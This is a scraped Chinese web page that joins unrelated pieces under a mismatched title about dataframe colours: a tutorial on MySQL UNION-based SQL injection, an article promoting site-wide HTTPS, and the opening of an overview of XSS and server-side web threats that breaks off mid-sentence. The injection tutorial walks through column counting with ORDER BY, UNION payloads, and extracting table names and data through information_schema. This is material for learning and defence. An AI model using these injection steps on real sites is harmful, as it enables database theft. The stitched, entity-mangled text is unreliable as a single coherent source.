dataframe 颜色-suffix 怎么改颜色

&figure&&img src=&/v2-bb0ce82e268_b.jpg& data-rawwidth=&370& data-rawheight=&200& class=&content_image& width=&370&&&/figure&&blockquote&本文原创作者:万年死宅&br&内容来源:&a href=&/?target=http%3A///portal.php%3Ffrom%3Dy& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&i春秋社区&i class=&icon-external&&&/i&&/a&&br&未经许可禁止转载&/blockquote&&br&&h2&&b&0x00 目录&/b&&/h2&0x01 MySQL注射的简单介绍&br&0x02 对于information_schema库的研究&br&0x03 注射第一步——确定查询语句的查询对象个数&br&0x04 注射第二步——UNION联合查询&br&0x05 注射第三步——MySQL基础信息收集&br&0x06 注射第四步——通过利用点GET敏感表及列&br&0x07 注射第五步——通过已知表、列GET数据&br&&br&&h2&&b&0x01 MySQL注射的简单介绍&/b&&/h2&MySQL的注射,我们已经在第4篇文章的演示过了,我们就来简单的总结下,我们MySQL注射的利用点。&p&首先,我们先来说下现在几乎没什么网站用的Access数据库吧,在最早期的&a href=&/?target=http%3A///courses/263& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&web安全&i class=&icon-external&&&/i&&/a&技术的学习中,我们最早接触到的工具相信都是啊D和明小子,而这两款工具正是针对与Access数据库的注射漏洞的利用工具。&/p&&p&而提到Access的注射,相信大家都能想到两个字“爆破”或者是“猜解”。对,这就是Access数据库存在SQL注射漏洞时的利用点,而我们第4篇文章中所演示的MySQL注射的利用点,自然不是“猜解”。(顺便说一下,我说的只是针对于MySQL5及以上版本)这种注射的利用点是information_schema这个默认数据库,这里面记录了该MySQL数据库所存储的所有数据。&/p&&p&所以,针对于MySQL数据库的注射都是利用提取information_schema库里的信息来获取表名与列名的。&/p&&br&&h2&&b&0x02 对于information_schema库的研究&/b&&/h2&既然这类注射的利用点在于information_schema这个默认库,那么自然,我们就应该增进对于这个库的一些了解,接下来,我们就来研究下这个information_schema库。&p&首先,我们启动MySQL服务,并且登录MySQL:&/p&&p&&figure&&img src=&/v2-65e0d3bb69_b.jpg& data-rawwidth=&834& data-rawheight=&522& class=&origin_image zh-lightbox-thumb& width=&834& data-original=&/v2-65e0d3bb69_r.jpg&&&/figure&然后,我们还是来看下存在的数据库:&/p&&p&&figure&&img src=&/v2-e9123ead150cb29f088bb243e06c5b52_b.jpg& data-rawwidth=&480& data-rawheight=&192& class=&origin_image zh-lightbox-thumb& width=&480& data-original=&/v2-e9123ead150cb29f088bb243e06c5b52_r.jpg&&&/figure&我们看到了information_schema数据库,也就证明了我安装的MySQL版本大于5,我们可以来看下具体版本:&br&&figure&&img src=&/v2-f24f573dc799a5cf60e34bfa59771a36_b.jpg& data-rawwidth=&445& data-rawheight=&129& class=&origin_image zh-lightbox-thumb& width=&445& data-original=&/v2-f24f573dc799a5cf60e34bfa59771a36_r.jpg&&&/figure&我们可以看到版本是5.6.17。接着,我们进入information_schema库:&br&&figure&&img src=&/v2-c4aafeba9d627344_b.jpg& data-rawwidth=&346& data-rawheight=&37& class=&content_image& width=&346&&&/figure&接着,我们来show一下表:&br&&figure&&img src=&/v2-1d9eaa22d99b3e_b.jpg& data-rawwidth=&763& data-rawheight=&449& class=&origin_image zh-lightbox-thumb& width=&763& data-original=&/v2-1d9eaa22d99b3e_r.jpg&&&/figure&可以看到,这个库里面有很多表,而我们获取其他数据库里的表、列名情况所利用的是一个叫tables的表,如下图:&br&&figure&&img src=&/v2-af3b9cf6bf87be3d_b.jpg& data-rawwidth=&460& data-rawheight=&182& class=&origin_image zh-lightbox-thumb& width=&460& data-original=&/v2-af3b9cf6bf87be3d_r.jpg&&&/figure&我们看看这个tables表里存在那些column:&br&&figure&&img src=&/v2-f31b53ccd050f70e8f4cb54_b.jpg& data-rawwidth=&801& data-rawheight=&493& class=&origin_image zh-lightbox-thumb& width=&801& data-original=&/v2-f31b53ccd050f70e8f4cb54_r.jpg&&&/figure&可以看到,tables表里情况复杂。。。我们所需要学习的只是其中几个,包括table_name、colum_name、table_schema,如图:&br&&figure&&img src=&/v2-6ac45fc635d272e3a098_b.jpg& data-rawwidth=&801& data-rawheight=&624& class=&origin_image zh-lightbox-thumb& width=&801& data-original=&/v2-6ac45fc635d272e3a098_r.jpg&&&/figure&还有一个没圈到,可能是在下面,也可能是我眼睛不好。。。。我先来了解下table_schema这个列:&br&&figure&&img src=&/v2-ca873b8ed7a39ccbc7fa67_b.jpg& data-rawwidth=&607& data-rawheight=&545& class=&origin_image zh-lightbox-thumb& width=&607& data-original=&/v2-ca873b8ed7a39ccbc7fa67_r.jpg&&&/figure&&br&这里面包含了所有我们安装在这个MySQL上的数据库的db_name,会有很多重复,接着,我们来看下table_name里的情况:&br&&figure&&img src=&/v2-bf969ef6a1eda0c_b.jpg& data-rawwidth=&723& data-rawheight=&645& class=&origin_image zh-lightbox-thumb& width=&723& data-original=&/v2-bf969ef6a1eda0c_r.jpg&&&/figure&这个表里则包含了该MySQL安装过的表的名字,好了,关于这个infromation_schema的库,我就写到这里,because我们的主题不是这个。&br&&br&&/p&&h2&&b&0x03 注射第一步——确定查询语句的查询对象个&/b&数&/h2&我们在第4篇的通用注射方式里的第一步就是确定原查询语句的查询对象的个数,什么意思呢?&p&其实很简单,我们还是使用第4篇的栗子,我把MySQL切换到sqli数据库:&br&&figure&&img src=&/v2-2ab66377cb1cdb790ead51e_b.jpg& data-rawwidth=&261& data-rawheight=&53& class=&content_image& width=&261&&&/figure&然后,用上节课的SQL模型,如下:&br&&figure&&img src=&/v2-3be211c12_b.jpg& data-rawwidth=&441& data-rawheight=&115& class=&origin_image zh-lightbox-thumb& width=&441& data-original=&/v2-3be211c12_r.jpg&&&/figure&这个X的位置,便是我们能够注射的位置,这个查询对象是什么意思呢?&/p&&p&其实,在这里查询对象就是data,个数就是1。这样或许大家还是不能理解,那我们举如下栗子:&br&&figure&&img src=&/v2-a9cd015cdd73fa4c83c33ed00365ea6a_b.jpg& data-rawwidth=&413& data-rawheight=&117& class=&content_image& width=&413&&&/figure&这次查询对象就变为了*,但是长度却改变了,因为*代表的是ALL的意思,那我们就来看看在news表中到底有几个对象:&br&&figure&&img src=&/v2-5a80b55a7bdccf4628168db_b.jpg& data-rawwidth=&444& data-rawheight=&248& class=&origin_image zh-lightbox-thumb& width=&444& data-original=&/v2-5a80b55a7bdccf4628168db_r.jpg&&&/figure&我们能看到,news表中有两个列,所以,这次的查询对象个数就是2。&/p&&p&但是,我们进行SQL注射只能控制SQL语句的一个部分,而不能知道原本的查询语句啊,那怎么办?&/p&&p&这时,我们就只能劳靠order by了,我们来看如下的栗子(还是一样的SQL模型):&br&&figure&&img src=&/v2-1a24e5aec5ec7e_b.jpg& data-rawwidth=&557& data-rawheight=&303& class=&origin_image zh-lightbox-thumb& width=&557& data-original=&/v2-1a24e5aec5ec7e_r.jpg&&&/figure&我们在上面的栗子中可以看到,第一次查询是正常的查询,返回正常的查询结果,而第二次查询则是加了order by 1,达到的效果就是返回正常查询结果,因为原SQL模型的查询对象个数就是1,而第三次查询则使用了order by 2,而原查询语句的查询对象个数是1,而不是2,所以产生了错误。&/p&&p&这就是利用order by来获取未知查询语句的查询对象个数。&br&&br&&br&&/p&&h2&&b&0x04 注射第二步——UNION联合查询&/b&&/h2&好滴,接下来,我们就要使用联合查询了,这个union到底是拿来干啥的啊,很不解对吧,那我们就先来学习一下union。&p&我们先来执行如下SQL语句,并查看结果:&br&&figure&&img src=&/v2-c5d01ee8af91a4bb9fe0a78d4db9e23f_b.jpg& data-rawwidth=&558& data-rawheight=&125& class=&origin_image zh-lightbox-thumb& width=&558& data-original=&/v2-c5d01ee8af91a4bb9fe0a78d4db9e23f_r.jpg&&&/figure&&br&可以看到select什么就是什么,接着,我们来看一下下面这个图(别闲枯燥,都是为了后面做铺垫):&br&&figure&&img src=&/v2-4c8a3bd5a214fb88c1d1f_b.jpg& data-rawwidth=&524& data-rawheight=&257& class=&origin_image zh-lightbox-thumb& width=&524& data-original=&/v2-4c8a3bd5a214fb88c1d1f_r.jpg&&&/figure&这就是news表里的全部数据,我们想一下,我们有如下程序:&br&&figure&&img src=&/v2-373bb5c06_b.jpg& data-rawwidth=&614& data-rawheight=&254& class=&origin_image zh-lightbox-thumb& width=&614& data-original=&/v2-373bb5c06_r.jpg&&&/figure&&br&这个程序,我们假设它叫test.php吧,关于getData()函数,图上有注释,我们想,当id为1~9的时候,这个程序确实没任何问题,但是试想,当id等于10的时候,就没法查询出结果,说不定还会报错,这样很影响用户体验。&br&所以,有时,可以使用union来解决这种问题,例如如下SQL模型就能解决这种问题:&br&&figure&&img src=&/v2-7a95e8dd599e5d8e4727_b.jpg& data-rawwidth=&616& data-rawheight=&84& class=&origin_image zh-lightbox-thumb& width=&616& data-original=&/v2-7a95e8dd599e5d8e4727_r.jpg&&&/figure&X的位置就是刚才那个程序的id参数的拼接处,这样就解决了刚才说的问题,不信我们来看:&br&&figure&&img src=&/v2-edfcc808e7c7f436efd3f71b112fc205_b.jpg& data-rawwidth=&551& data-rawheight=&265& class=&origin_image zh-lightbox-thumb& width=&551& data-original=&/v2-edfcc808e7c7f436efd3f71b112fc205_r.jpg&&&/figure&可以看到,在第一次查询时id为1,的确存在这个数据,于是正常返回查询结果,其实也不完全正常,因为还多了个Error,但是这个很好处理,直接在mysql_fetch_array()之后的返回值里取数组的[0]就可以了。&/p&&p&而第二次查询,id为10,不存在这条数据,于是,语句错误了,所以查询结果就变成了Error。&br&Ok,就是这样,这就是UNION的基础用法,但是还没转过弯来的同学可能还会问那刚才为什么要order by?&/p&&p&其实,这也怪我,没讲清楚,我们来看如下栗子:&br&&figure&&img src=&/v2-efbfcbef3a82c70c6e054f64e6c13518_b.jpg& data-rawwidth=&555& data-rawheight=&394& class=&origin_image zh-lightbox-thumb& width=&555& data-original=&/v2-efbfcbef3a82c70c6e054f64e6c13518_r.jpg&&&/figure&很明了吧,嘿嘿,好了。我们最后在说一个问题,当我们有原语句出现错误时,我们的union的内容就会替换掉查询结果,其实类似于如下等式:&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&select * from news where id=10 union select 'Error',1000;
select 'Error',1000;
&/code&&/pre&&/div&&br&&p&好了,接着就是下一个内容了。&br&&br&&/p&&h2&&b&0x05 注射第三步——MySQL基础信息收集&/b&&/h2&Ok,基础的东西终于唠完了,我们就来玩玩吧,我们先看下面这样一个列表:&br&&ul&&li&database() 当前数据库&/li&&li&version() 数据库版本&br&&/li&&li&user() 当前用户&/li&&/ul&&br&就这样三个基础信息吧,我们先直接查询下:&figure&&img src=&/v2-b59a6e6e49ee_b.jpg& data-rawwidth=&421& data-rawheight=&384& class=&origin_image zh-lightbox-thumb& width=&421& data-original=&/v2-b59a6e6e49ee_r.jpg&&&/figure&&br&&p&我们可以看到如下几个基础信息,根据我们0x04里最后提的等式,可以构造出如下SQL语句来GET这些信息:&br&&figure&&img src=&/v2-d1c4be52b2da_b.jpg& data-rawwidth=&666& data-rawheight=&288& class=&origin_image zh-lightbox-thumb& width=&666& data-original=&/v2-d1c4be52b2da_r.jpg&&&/figure&OK,长话短说了我们试试吧,首先是GET当前库:&br&&figure&&img src=&/v2-5ecbd2f6cfbf4aae33e4f_b.jpg& data-rawwidth=&558& data-rawheight=&125& class=&origin_image zh-lightbox-thumb& width=&558& data-original=&/v2-5ecbd2f6cfbf4aae33e4f_r.jpg&&&/figure&接着是数据库版本:&br&&figure&&img src=&/v2-b4b80579f38cbfe673d0f29_b.jpg& data-rawwidth=&547& data-rawheight=&128& class=&origin_image zh-lightbox-thumb& width=&547& data-original=&/v2-b4b80579f38cbfe673d0f29_r.jpg&&&/figure&&br&最后是当前用户:&br&&figure&&img src=&/v2-ae4e482a2147cfc_b.jpg& data-rawwidth=&522& data-rawheight=&127& class=&origin_image zh-lightbox-thumb& width=&522& data-original=&/v2-ae4e482a2147cfc_r.jpg&&&/figure&OK,就这么简单,其实注射并不难,只是缺少系统性的资料以及各种资料的“质量”参差不齐才导致有很多朋友觉得SQL注射很难学。&br&&br&&br&&/p&&h2&&b&0x06 注射第四步——通过利用点GET敏感表及列&/b&&/h2&好滴,接着,我们来到了0x06,真心写得好累,阿西吧,神呐。。。好了,利用点自然是information_schema库。&p&我们首先想获取的自然是当前库里的所有表,大家还记得吧,在0x02的地方,我曾说过information_schema库里的tables表里存着我们想要的信息,首先table_schema里存的是啥?是所有数据库名吧,那table_name里存的啥?是所有表名吧,既然如此,只需要将select database()查出来的当前库名对应一下,自然就能得到所有属于当前库的表名了哎。&/p&&p&所以,我们来先正常尝试一下(额,对了跨库的话就“from 库名.表名”就行了):&br&&br&&figure&&img src=&/v2-171ec87e_b.jpg& data-rawwidth=&702& data-rawheight=&147& class=&origin_image zh-lightbox-thumb& width=&702& data-original=&/v2-171ec87e_r.jpg&&&/figure&&/p&&p&可以看到,确实获取了属于sqli库的所有表名,此时一看,哪个敏感一幕了然啊,嘿嘿,让我们猥琐的继续:&/p&&figure&&img src=&/v2-5dbd309e2e6a0e6d7ec8_b.jpg& data-rawwidth=&718& data-rawheight=&159& class=&origin_image zh-lightbox-thumb& width=&718& data-original=&/v2-5dbd309e2e6a0e6d7ec8_r.jpg&&&/figure&&p&就这么简单,通过前面那个等式,大家就能够通过这两个语句直接构造攻击的Payload了吧,嘿嘿(容我猥琐的笑会儿~~)&br&&br&&/p&&h2&&b&0x07 注射第五步——通过已知表、列GET数据&/b&&/h2&好了,最后,我们就能通过已知的表、列GET想要的数据了,例如:&p&&figure&&img src=&/v2-a657eba70e3f7_b.jpg& data-rawwidth=&339& data-rawheight=&156& class=&content_image& width=&339&&&/figure&&br&但是例如php程序在处理查询结果时有点坑咋办?就例如mysql_fetch_array()后只取了[0]咋办?难道一个一个查?那不累死?&/p&&p&所以还是用第4篇里讲到过的group_concat()函数来解决吧,如下例:&br&&figure&&img src=&/v2-fd19b58cfcaf84ed7ba8d0c4a1b18764_b.jpg& data-rawwidth=&802& data-rawheight=&152& class=&origin_image zh-lightbox-thumb& width=&802& data-original=&/v2-fd19b58cfcaf84ed7ba8d0c4a1b18764_r.jpg&&&/figure&好了,这篇paper就到这里了,接下来还会有更多更高级的SQL注射技巧等着大家~~&/p&
本文原创作者:万年死宅 内容来源: 未经许可禁止转载 0x00 目录0x01 MySQL注射的简单介绍 0x02 对于information_schema库的研究 0x03 注射第一步——确定查询语句的查询对象个数 0x04 注射第二步——UNION联合查询 0x05 注射第三步——MySQL基础…
&figure&&img src=&/v2-d94ce116c45c9b8d974cf4_b.jpg& data-rawwidth=&985& data-rawheight=&518& class=&origin_image zh-lightbox-thumb& width=&985& data-original=&/v2-d94ce116c45c9b8d974cf4_r.jpg&&&/figure&&p&互联网发展20多年,大家都习惯了在浏览器地址里输入HTTP格式的网址。但前两年,HTTPS逐渐取代HTTP,成为传输协议界的“新宠”。&/p&&p&早在2014年,由网际网路安全研究组织Internet Security Research Group(ISRG)负责营运的 “Let's Encrypt”项目就成立了,意在推动全球网站的全面HTTPS化;今年6月,苹果也要求所有IOS Apps在2016年底全部使用HTTPS;11月,Google还宣布,将在明年1月开始,对任何没有妥善加密的网站,竖起“不安全”的小红旗。&/p&&p&去年,淘宝、天猫也启动了规模巨大的数据“迁徙”,目标就是将百万计的页面从HTTP切换到HTTPS,实现互联网加密、可信访问。&/p&&p&更安全、更可信,是HTTP后面这个“S”最大的意义。HTTPS在HTTP的基础上加入了SSL/TLS协议,依靠SSL证书来验证服务器的身份,并为客户端和服务器端之间建立“SSL加密通道”,确保用户数据在传输过程中处于加密状态,同时防止服务器被钓鱼网站假冒。&/p&&h2&&strong&HTTP为什么过时了?&/strong&&/h2&&p&很多网民可能并不明白,为什么自己的访问行为和隐私数据会被人知道,为什么域名没输错,结果却跑到了一个钓鱼网站上?互联网世界暗流涌动,数据泄露、数据篡改、流量劫持、钓鱼攻击等安全事件频发。&/p&&p&而未来的互联网网络链路日趋复杂,加重了安全事件发生。可能在星巴克被隔壁桌坐着的黑客嗅探走了口令,或者被黑了家庭路由器任由电子邮件被窃听,又或者被互联网服务提供商秘密注入了广告。这一切都是由互联网开始之初面向自由互联开放的HTTP传输协议导致的。&/p&&p&&strong&HTTP数据在网络中裸奔&/strong&&/p&&p&HTTP明文协议的缺陷,是导致数据泄露、数据篡改、流量劫持、钓鱼攻击等安全问题的重要原因。HTTP协议无法加密数据,所有通信数据都在网络中明文“裸奔”。通过网络的嗅探设备及一些技术手段,就可还原HTTP报文内容。&/p&&p&&strong&网页篡改及劫持无处不在&/strong&&/p&&p&篡改网页推送广告可以谋取商业利益,而窃取用户信息可用于精准推广甚至电信欺诈,以流量劫持、数据贩卖为生的灰色产业链成熟完善。即使是技术强悍的知名互联网企业,在每天数十亿次的数据请求中,都不可避免地会有小部分流量遭到劫持或篡改,更不要提其它的小微网站了。&/p&&p&&strong&智能手机普及,WIFI接入常态化&/strong&&/p&&p&WIFI热点的普及和移动网络的加入,放大了数据被劫持、篡改的风险。开篇所说的星巴克事件、家庭路由器事件就是一个很有意思的例子。&/p&&p&&strong&自由的网络无法验证网站身份&/strong&&/p&&p&HTTP协议无法验证通信方身份,任何人都可以伪造虚假服务器欺骗用户,实现“钓鱼欺诈”,用户根本无法察觉。&/p&&h2&&strong&HTTPS,强在哪里?&/strong&&/h2&&p&我们可以通过HTTPS化极大的降低上述安全风险。&/p&&figure&&img src=&/v2-f701b8d0519dde74da8aa49f98c9e946_b.jpg& data-rawwidth=&582& data-rawheight=&136& class=&origin_image zh-lightbox-thumb& width=&582& data-original=&/v2-f701b8d0519dde74da8aa49f98c9e946_r.jpg&&&/figure&&p&从上图看,加密从客户端出来就已经是密文数据了,那么你的用户在任何网络链路上接入,即使被监听,黑客截获的数据都是密文数据,无法在现有条件下还原出原始数据信息。&/p&&p&各类证书部署后浏览器呈现效果:&/p&&figure&&img src=&/v2-4e718deaab6b0c322edd6e_b.jpg& data-rawwidth=&473& data-rawheight=&83& class=&origin_image zh-lightbox-thumb& width=&473& data-original=&/v2-4e718deaab6b0c322edd6e_r.jpg&&&/figure&&p&免费SSL数字证书(IE上,Chrome下)&/p&&figure&&img src=&/v2-eb6eb7f63cac6ff808d43e_b.jpg& data-rawwidth=&472& data-rawheight=&75& class=&origin_image zh-lightbox-thumb& width=&472& data-original=&/v2-eb6eb7f63cac6ff808d43e_r.jpg&&&/figure&&p&OV SSL数字证书(IE上,Chrome下)&/p&&figure&&img src=&/v2-a0a700f6f302dee1674d12_b.jpg& data-rawwidth=&473& data-rawheight=&67& class=&origin_image zh-lightbox-thumb& width=&473& data-original=&/v2-a0a700f6f302dee1674d12_r.jpg&&&/figure&&p&EV SSL数字证书(IE上,Chrome下)&/p&&h2&&strong&全世界都对HTTPS抛出了橄榄枝&br&&/strong&&/h2&&p&&strong&浏览器们对HTTP页面亮出红牌&/strong&&/p&&p&谷歌、火狐等主流浏览器将对HTTP页面提出警告。火狐浏览器将对“使用非HTTPS提交密码”的页面进行警告,给出一个红色的阻止图标;Google Chrome浏览器则计划将所有HTTP网站用“Not secure”显注标识。&/p&&figure&&img src=&/v2-ebc1b3d2307_b.jpg& data-rawwidth=&417& data-rawheight=&154& class=&content_image& width=&417&&&/figure&&figure&&img src=&/v2-002ac8e9cdaadaf25a708c048f14721f_b.jpg& data-rawwidth=&312& data-rawheight=&142& class=&content_image& width=&312&&&/figure&&p&图片来源:Googleblog&/p&&p&对于一般用户来讲,如果是这样标识的网站,可能会直接放弃访问。&/p&&p&&strong&苹果iOS强制开启ATS标准&/strong&&/p&&p&苹果宣布日起,所有提交到App Store 的App必须强制开启ATS安全标准(App Transport Security),所有连接必须使用HTTPS加密。包括Android也提出了对HTTPS的要求。&/p&&p&&strong&HTTP/2协议只支持HTTPS&/strong&&/p&&p&Chrome、火狐、Safari、Opera、IE和Edge都要求使用HTTPS加密连接,才能使用HTTP/2协议。&/p&&p&&strong&HTTPS提升搜索排名&/strong&&/p&&p&谷歌早在2014年就宣布,将把HTTPS作为影响搜索排名的重要因素,并优先索引HTTPS网页。百度也公告表明,开放收录HTTPS站点,同一个域名的http版和https版为一个站点,优先收录https版。&/p&&p&&strong&英美强制要求所有政府网站启用HTTPS&/strong&&/p&&p&美国政府要求所有政府网站都必须在日之前完成全站HTTPS化,截至日,已经有50%政府网站实现全站HTTPS。英国政府要求所有政府网站于日起强制启用全站HTTPS,还计划将&a href=&/?target=http%3A//service.gov.uk& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&service.gov.uk&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&提交至浏览器厂商的HSTS预加载列表,只有通过HTTPS才能访问政府服务网站。&/p&&p&&strong&超级权限应用禁止使用HTTP连接&/strong&&/p&&p&采用不安全连接访问浏览器特定功能,将被谷歌Chrome浏览器禁止访问,例如地理位置应用、应用程序缓存、获取用户媒体等。从谷歌Chrome 50版本开始,地理定位API没有使用HTTPS的web应用,将无法正常使用。&/p&&h2&&strong&只有部分网页可不够,全站HTTPS才是最佳方案&/strong&&/h2&&p&很多网站所有者认为,只有登录页面和交易页面才需要HTTPS保护,而事实上,全站HTTPS化才是确保所有用户数据安全可靠加密传输的最佳方案。局部部署HTTPS,在HTTP跳转或重定向到HTTPS的过程中,仍然存在受到劫持的风险。&/p&&p&&strong&情况一:从HTTP页面跳转访问HTTPS页面&/strong&&/p&&p&事实上,在 PC 端上网很少有直接进入 HTTPS 网站的。例如:支付宝网站大多是从淘宝跳转过来,如果淘宝使用不安全的 HTTP 协议,通过在淘宝网的页面里注入 XSS,屏蔽跳转到 HTTPS 的页面访问,那么用户也就永远无法进入安全站点了。&/p&&p&&figure&&img src=&/v2-26e34b3411cab5a6c85defd5_b.jpg& data-rawwidth=&580& data-rawheight=&150& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/v2-26e34b3411cab5a6c85defd5_r.jpg&&&/figure&图片来源:EtherDream《安全科普:流量劫持能有多大危害?》&br&&/p&&p&尽管地址栏里没有出现 HTTPS 的字样,但域名看起来也是正确的,大多用户都会认为不是钓鱼网站,因此也就忽视了。也就是说,只要入口页是不安全的,那么之后的页面再安全也无济于事。&/p&&p&&strong&情况二:HTTP页面重定向到HTTPS页面&/strong&&/p&&p&有一些用户通过输入网址访问网站,他们输入了 &a href=&/?target=http%3A//& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& 就敲回车进入了。然而,浏览器并不知道这是一个 HTTPS 的站点,于是使用默认的 HTTP 去访问。不过这个 HTTP 版的支付宝的确也存在,其唯一功能就是重定向到自己 HTTPS 站点上。劫持流量的中间人一旦发现有重定向到 HTTPS 站点的,于是拦下重定向的命令,自己去获取重定向后的站点内容,然后再回复给用户。于是,用户始终都是在 HTTP 站点上访问,自然就可以无限劫持了。&/p&&figure&&img src=&/v2-5c7e679db6d_b.jpg& data-rawwidth=&583& data-rawheight=&145& class=&origin_image zh-lightbox-thumb& width=&583& data-original=&/v2-5c7e679db6d_r.jpg&&&/figure&&p&图片来源:EtherDream《安全科普:流量劫持能有多大危害?》&/p&&p&而&strong&全站HTTPS化可以确保用户在访问网站时全程HTTPS加密,不给中间人跳转劫持的机会。&/strong&国外各大知名网站(PayPal,Twitter,Facebook,Gmail,Hotmail等)都通过Always on SSL(全站https)技术措施来保证用户机密信息和交易安全,防止会话劫持和中间人攻击。&/p&&figure&&img src=&/v2-e8720fad66dfea1fffc8d49b97fae7d3_b.jpg& data-rawwidth=&590& data-rawheight=&333& class=&origin_image zh-lightbox-thumb& width=&590& data-original=&/v2-e8720fad66dfea1fffc8d49b97fae7d3_r.jpg&&&/figure&&p&图片来源:Symantec《Protect the Entire Online User Experience: with Always On SSL》&/p&&blockquote&那么问题来了,为什么HTTPS百般好,全世界却还有过一半的网站,还在使用HTTP呢?&/blockquote&&p&首先,&strong&很多人还是会觉得&/strong&&strong&HTTPS实施有门槛&/strong&,这个门槛在于需要权威CA颁发的SSL数字证书。从证书的选择、购买到部署,传统的模式下都会比较耗时耗力。目前,主流CSP都集成了多家证书颁发机构的SSL证书,部署过程也相对更容易一些。因“麻烦”和“门槛”而不HTTPS化的现象,预测也将有所缓解。&/p&&p&&strong&第二是性能&/strong&。HTTPS普遍认为性能消耗要大于HTTP。但事实并非如此,用户可以通过性能优化、把证书部署在SLB或CDN,来解决此问题。举个实际的例子,“双十一”期间,全站HTTPS的淘宝、天猫依然保证了网站和移动端的访问、浏览、交易等操作的顺畅、平滑。通过测试发现,经过优化后的许多页面性能与HTTP持平甚至还有小幅提升,因此HTTPS经过优化之后其实并不慢。&/p&&p&&strong&最后是安全意识&/strong&。相比国内,国外互联网行业的安全意识和技术应用相对成熟,HTTPS部署趋势是由社会、企业、政府共同去推动的。不过,随着国内等保、网络安全、P2P监管措施的普及,HTTPS也有望造福更多网民。&/p&&h2&&strong&参考来源&/strong&&/h2&&p&[1] EtherDream文章《安全科普:流量劫持能有多大危害?》&br&&br&[2] Symantec文章《Protect the Entire Online User Experience: with Always On SSL》&/p&&p&&strong&作者:经伦@阿里云安全,更多安全资讯及安全知识,请访问&a href=&/?target=https%3A///community/index.htm& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&阿里聚安全博客&i class=&icon-external&&&/i&&/a&&/strong&&/p&
互联网发展20多年,大家都习惯了在浏览器地址里输入HTTP格式的网址。但前两年,HTTPS逐渐取代HTTP,成为传输协议界的“新宠”。早在2014年,由网际网路安全研究组织Internet Security Research Group(ISRG)负责营运的 “Let's Encrypt”项目就成立了,意在…
&figure&&img src=&/v2-90ee859b693ff963ebc18e4e5e282bb2_b.jpg& data-rawwidth=&495& data-rawheight=&279& class=&origin_image zh-lightbox-thumb& width=&495& data-original=&/v2-90ee859b693ff963ebc18e4e5e282bb2_r.jpg&&&/figure&&blockquote&本文原创作者:万年死宅&br&内容来源:&a href=&/?target=http%3A///portal.php%3Ffrom%3Dy& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&i春秋社区&i class=&icon-external&&&/i&&/a&&br&未经许可禁止转载&/blockquote&&h2&&b&目录&/b&&/h2&&p&0x01 攻击对象&br&0x02 Web前端&a href=&/?target=http%3A///courses/277& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&安全威胁&i class=&icon-external&&&/i&&/a&&br&0x03 Web后端安全威胁&br&0x04 总结&br&&br&&/p&&h2&&b&0x01 攻击对象&/b&&/h2&&p&我们的Web程序是属于B/S架构的程序。所以,针对与Web的攻击,只会有两个对象。一是B,也就是浏览器(Browser),二是S,也就是服务器(Server)。&/p&&p&例如我们很常见的XSS,CSRF这样一些安全威胁就是针对Brower的攻击。而想SQL注射,任意文件上传,解析漏洞这一类的安全威胁则是针对Server的攻击。&/p&&p&我们可以知道,针对一个互联网企业来说,S就是企业,B就是用户。所以针对Server的攻击更被企业所重视。虽然说有句话说得好“以人为本”,也就是说对于一个企业来说,用户很重要,是它发展的根本。&/p&&p&但是,对于现在的很多企业来说,只要用户不知道不就好了吗?所以,我们也可以看到,很多的互联网企业不重视针对与Browser 的安全威胁。&/p&&p&但是,牛逼的跨站师们,一次又一次的诠释了如何把不可能变成可能。曾经,XSS只是能够盗个Cookie,能够钓个鱼什么的。但是,如今,XSS Worm、CSRF Worm、XSS内网渗透、浏览器跨域……&/p&&p&一个又一个的血案,让我们看到针对于Browser的Web前端攻击,并不比SQL Injection的危害小。&/p&&p&好了,我们不继续扯了,我们来继续正题。我们现在可以大致把Web层面的安全威胁大致分为两类:&/p&&ul&&li&Web前端安全威胁&br&&/li&&li&Web后端安全威胁&br&&/li&&/ul&&br&&p&针对于这样两个不同的攻击向量,我们来一一学习。&br&&br&&/p&&h2&&b&0x02 Web前端安全威胁&/b&&/h2&&p&我们接下来,来专门的把前端的安全威胁拿来说一下。这类的安全威胁,是利用Web站点或者浏览器本身的缺陷来攻击浏览器。&/p&&p&这类攻击很神奇,因为这类攻击的受害者是不确定的,针对于不同的受害者,这类攻击的为威力就会呈几何级数的增长。&/p&&p&我们来举一个简单的例子,例如某个网站存在XSS。例如,这个XSS是在发表评论处的,那么,受害者就是这个网站的用户,那么,我们能干什么呢?&/p&&p&我们可以盗取用户的Cookie,获取用户的UserAgent信息,还可以用来钓鱼,还有一些很神奇的利用(当然,这些神奇的利用必须在环境刚好合适的情况下)。&/p&&p&我们获取到用户的Cookie的话就相当于控制了用户的在线账户权限,而UA则可以用于进一步的渗透,例如针对老版浏览器的已知的RCE来Hack用户的机器。&/p&&p&好的,我们就来举几个例子,首先,我们来看这样一个页面:&br&&/p&&p&&figure&&img src=&/v2-ea1e0bc98c_b.jpg& data-rawwidth=&859& data-rawheight=&276& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&/v2-ea1e0bc98c_r.jpg&&&/figure&这个页面的功能很简单,我们在输入框中输入点东西,例如:“Hades”,然后点击OK按钮,如下:&/p&&figure&&img src=&/v2-79c3ea1ef_b.jpg& data-rawwidth=&554& data-rawheight=&242& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-79c3ea1ef_r.jpg&&&/figure&&p&我们可以看到,页面输出了“Hello ,Hades”。So,我们找到了一个输入点和一个输出点,于是,我们就可以测试是否存在XSS了:&/p&&figure&&img src=&/v2-5a419f612ebe2f3a5f624d62dd8c178c_b.jpg& data-rawwidth=&684& data-rawheight=&437& class=&origin_image zh-lightbox-thumb& width=&684& data-original=&/v2-5a419f612ebe2f3a5f624d62dd8c178c_r.jpg&&&/figure&&p&可以看到,的确存在XSS,接下来就需要验证是什么类型的XSS。&br&首先,验证是不是Reflected 